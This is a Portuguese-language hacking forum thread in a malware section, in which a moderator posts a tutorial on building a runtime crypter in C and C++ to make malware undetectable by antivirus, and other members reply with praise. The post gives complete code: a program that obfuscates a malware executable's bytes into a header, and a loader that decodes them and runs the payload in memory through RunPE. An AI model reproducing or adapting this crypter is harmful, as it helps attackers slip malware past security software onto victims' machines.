[tutorial] Como fazer crypters em C & CPP

Postagem de conteúdo sobre malwares (trojan, keylogger, virus, backdoor)
Post Reply
User avatar
fascist_
Moderador
Moderador
Posts: 96
Joined: Fri Jul 29, 2016 5:35 pm

[tutorial] Como fazer crypters em C & CPP

Post by fascist_ » Fri Jan 06, 2017 8:08 am

Como fazer crypters em C & CPP.
De Fascist pra EOF :3
=================================

Bem, antes de fazermos um crypter, precisamos entender um pouco mais sobre crypters.
E porfavor, entenda um pouco de C antes de ler esse tutorial.

Pra que servem crypters?

========================

Eles servem pra deixar os malwares indetectaveis :D


Como eles funcionam?

====================

Bem, como o nome mais ou menos sugere, os crypters criptografam o malware, entao quando o antivirus
vai escanear, nao vai achar evidencias de que é um malware. Entao na hora da execuçao, os crypters fazem a
descriptografia pro malware poder ser executado.

Como o nosso crypter vai funcionar?

===================================

Nesse tutorial, vamos programar crypters runtime, isso significa que uma vez que o malware é descriptografado,
ele nao vai virar um arquivo pra dps ser executado, porque desse jeito o antivirus vai detectar. O que queremos
é descriptografar ele e deixar todo o arquivo na memoria ram (em uma variavel), porque assim o antivirus nao
detecta :D

Well, o nosso crypter vai ser composto de dois arquivos, o primeiro arquivo vai servir para criptografar e o segundo
para descriptografar. O arquivo que faz a criptografia vai pegar os bytes do malware, "transformar" em numeros, para
que por meio de operaçoes matematicas, possa ser feito a criptografia. Em seguida, ele vai gerar um header que contem os bytes do malware criptografado em uma variavel. Esse header vai ser incluido no arquivo de descriptografia pra que ele (o arquivo de descriptografia) possa obviamente, descriptografar, para entao, executar o malware.

Note que nesse tutorial vamos usar uma criptografia bem fraca, essa criptografia é so pra fins demonstrativos. Dps vcs colocam a criptografia que vcs quiserem, eh mt facil fazer criptografias de fluxo, principalmente quando o objetivo é ofuscar os bytes de um arquivo e nao deixa-lo super seguro.

Esquema:

Malware + programa de criptografia = variavel contendo arquivo criptografado (em um header chamado shellcode.h).
Programa de descriptografia importa shellcode.h, faz a descriptografia e executa usando o runPE.h.

Mt gente faz crypter com o metodo do separador, que é colocar o arquivo de descriptografia, um separador (o separador é uma sequencia de texto feito pra ser identificado pelo crypter) e o malware criptografado no mesmo arquivo.
Entao o arquivo de descriptografia localiza o separador e assim, sabe que todo o resto do programa é o malware pra poder descriptografar. O problema é que esse é um metodo mt mais complicado de programar pra chegar num resultado similar, esquece isso.

//-//-//-//-//-//-//-//-//-//-//-//-//-//-//-//-//-//-//

Vamos começar a programar! Vamos primeiro fazer a parte do crypter que faz a criptografia.

[encrypt.c]
--------------------------------------------------

Code: Select all

#include <stdio.h> //Eh a unica library que vamos precisar pra esse arquivo :D

int main(){
	printf("MrDurden Crypter.\n\n");
	printf("Compramos coisas que nao precisamos,\n");
	printf("Com dinheiro que nao temos,\n");
	printf("Pra impressionar pessoas que nao gostamos.\n");

	char targetFile[100]; //Essa string vai conter o lugar onde esta o malware.
	FILE * openFile; //Essa variavel vai ser pro arquivo do malware.
	FILE * writeFile; //Essa variavel vai ser pro header shellcode.h.

	printf("\nArquivo: ");
	scanf("%s",targetFile); //Input do local do malware.

	openFile = fopen(targetFile, "rb"); /*Se vc esqueceu o que significa "rb", significa "read byte",
                                                                     quer dizer que queremos saber os bytes do arquivo e nao modifica-los.*/

	writeFile = fopen("shellcode.h", "wb"); /*Isso mesmo, "wb" significa "write byte", você entendeu a logica :D */
	
	/*
		Deixa eu explicar umas coisas agora.
		O que queremos no shellcode.h é uma variavel contendo os bytes encriptados do malware em forma numerica.
		Entao queremos que shellcode.h se pareça com algo desse tipo:

		int file[] = {616,654,821,848,...};

		So isso msm, so pra vcs entenderem que vamos printar comandos.
	*/

	fprintf(writeFile,"int f[] = {"); //Começando a printar a array de inteiros.

	int byte = 0; //Essa variavel vai processar os bytes do malware.
	int jndex = 0; //Essa variavel vai saber quantos bytes se passaram.

	while((byte = fgetc(openFile)) != EOF){ /*Basicamente, isso iguala o "byte" a fgetc(openFile) e vê se o valor do "byte" nao é EOF.
						EOF = End Of File (Todo membro do EOFClub tem obrigaçao de saber isso).
						fgetc(openFile) pega sempre o proximo byte do arquivo openFile.*/
		if(jndex != 0){ //Esse IF impede de colocar virgula depois do "{".
			fprintf(writeFile,","); //Isso coloca a virgula depois de cada numero no header shellcode.h.
		}
		byte += 666; //Essa é a criptografia, somamos "666" pra cada byte.
		fprintf(writeFile,"%d",byte); //Isso coloca o numero do byte no header shellcode.h.
		jndex += 1;
	}

	fprintf(writeFile,"};");
	fclose(writeFile); //Temos que fechar o arquivo pra nao dar merda.
	fclose(openFile); //Como eu falei na linha anterior, temos que fechar o arquivo pra nao dar merda .-.
	printf("\nPronto (provavelmente)!\n\n");
	return 0;
}
--------------------------------------------------

Parabens, a parte da criptografia ta pronta :D

Para proceder você agr precisa encriptar um malware ou qualquer executavel, com o programa que acabamos
de programar, o shellcode.h que sera gerado é fundamental pra fazer a descriptografia. Lembrando
que a descriptografia é em CPP.

[decrypt.cpp]
--------------------------------------------------

Code: Select all

#include <stdio.h>
#include <windows.h> //Windows agr entra na jogada.
#include "RunPE.h" //Vou disponibilizar no final do texto.
#include "shellcode.h" //Esse é o shellcode.h gerado quando vc criptografou o malware.

int main(){
	int fileSize = sizeof(f)/sizeof(f[0]); //Obter tamanho da array do shellcode.h.
	int byte = 0; //Variavel pra manipular os bytes.
	int index = 0; //Essa variavel vai saber qual a posiçao do byte que estamos operando.
	unsigned char decrypted[fileSize]; //Essa array vai conter o malware descriptografado.
	while(index < fileSize){ //Isso é so pra nao mexermos com bytes fora da array KKK.
		byte = f[index]; 
		byte += -666; //Nos tinhamos adicionado 666, logo, pros bytes voltarem ao normal, precisamos subtrair 666.
		decrypted[index] = byte;
		index += 1;
	}

	//Fizemos a descriptografia, basta agora executar os bytes contido no "decrypted"
	
	runPE rp; //Isso cria uma variavel do runPE.
	TCHAR szFilePath[1024];
	GetModuleFileNameA(0, LPSTR(szFilePath), 1024);
	rp.run(LPSTR(szFilePath), decrypted); //Isso executa o malware.

	return 0;
}
--------------------------------------------------

Pronto! O nosso crypter esta pronto :D

Esse é meu primeiro tutorial de programaçao e tentei explicar tudo por meio de comentarios no codigo, sla, esse modelo ta legal pra ensinar? Se o seu codigo tiver um erro ou algo do tipo, fala ae que tento ajudar.
Last edited by fascist_ on Fri Jan 06, 2017 11:39 am, edited 2 times in total.

User avatar
SrKaysama
Membro
Membro
Posts: 2
Joined: Wed Dec 14, 2016 9:18 pm

Re: [tutorial] Como fazer crypters em C & CPP

Post by SrKaysama » Fri Jan 06, 2017 8:36 am

O formato do tutorial ta muito bom
Agora tenho que arranjar um Windows pra testar :D

User avatar
fascist_
Moderador
Moderador
Posts: 96
Joined: Fri Jul 29, 2016 5:35 pm

Re: [tutorial] Como fazer crypters em C & CPP

Post by fascist_ » Fri Jan 06, 2017 8:40 am

SrKaysama wrote:O formato do tutorial ta muito bom
Agora tenho que arranjar um Windows pra testar :D
Vlw :D

User avatar
Kodo no Kami
Admin
Admin
Posts: 677
Joined: Fri Jan 02, 2015 1:56 pm
Contact:

Re: [tutorial] Como fazer crypters em C & CPP

Post by Kodo no Kami » Fri Jan 06, 2017 9:48 pm

show mano isso vai ajudar muita gente \o
Image

Conheça o sistema e manipule ele, se limite ao sistema e seja manipulado por ele ~kodo no kami

meu perfil yahoo

Ergo
Membro
Membro
Posts: 1
Joined: Sat Jan 07, 2017 10:00 am

Re: [tutorial] Como fazer crypters em C & CPP

Post by Ergo » Sat Jan 07, 2017 10:13 am

MUITO BOM SO NAO CONSIGO TESTAR PQ TO SEM WINDOWS ;-; @tendeu@ @interessado@

User avatar
51M0N
Admin
Admin
Posts: 864
Joined: Fri Jan 02, 2015 2:06 pm

Re: [tutorial] Como fazer crypters em C & CPP

Post by 51M0N » Sat Jan 07, 2017 1:21 pm

@feliz@ ... parabens mano, achei bem explicativo e os códigos estão comentados para facilitar no entendimento.
"Você, eu, nem ninguém vai bater tão duro como a vida. Mas não se trata de bater duro. Se trata de quanto você aguenta apanhar e seguir em frente (...). É assim que se consegue vencer." by Rocky Balboa

Zaphod
Admin
Admin
Posts: 18
Joined: Fri Jan 02, 2015 1:24 pm

Re: [tutorial] Como fazer crypters em C & CPP

Post by Zaphod » Sun Jan 08, 2017 9:09 pm

bem legal, da pra fazer umas parada dahora hein
+[----->+++<]>+.+.

Post Reply

Return to “Malwares”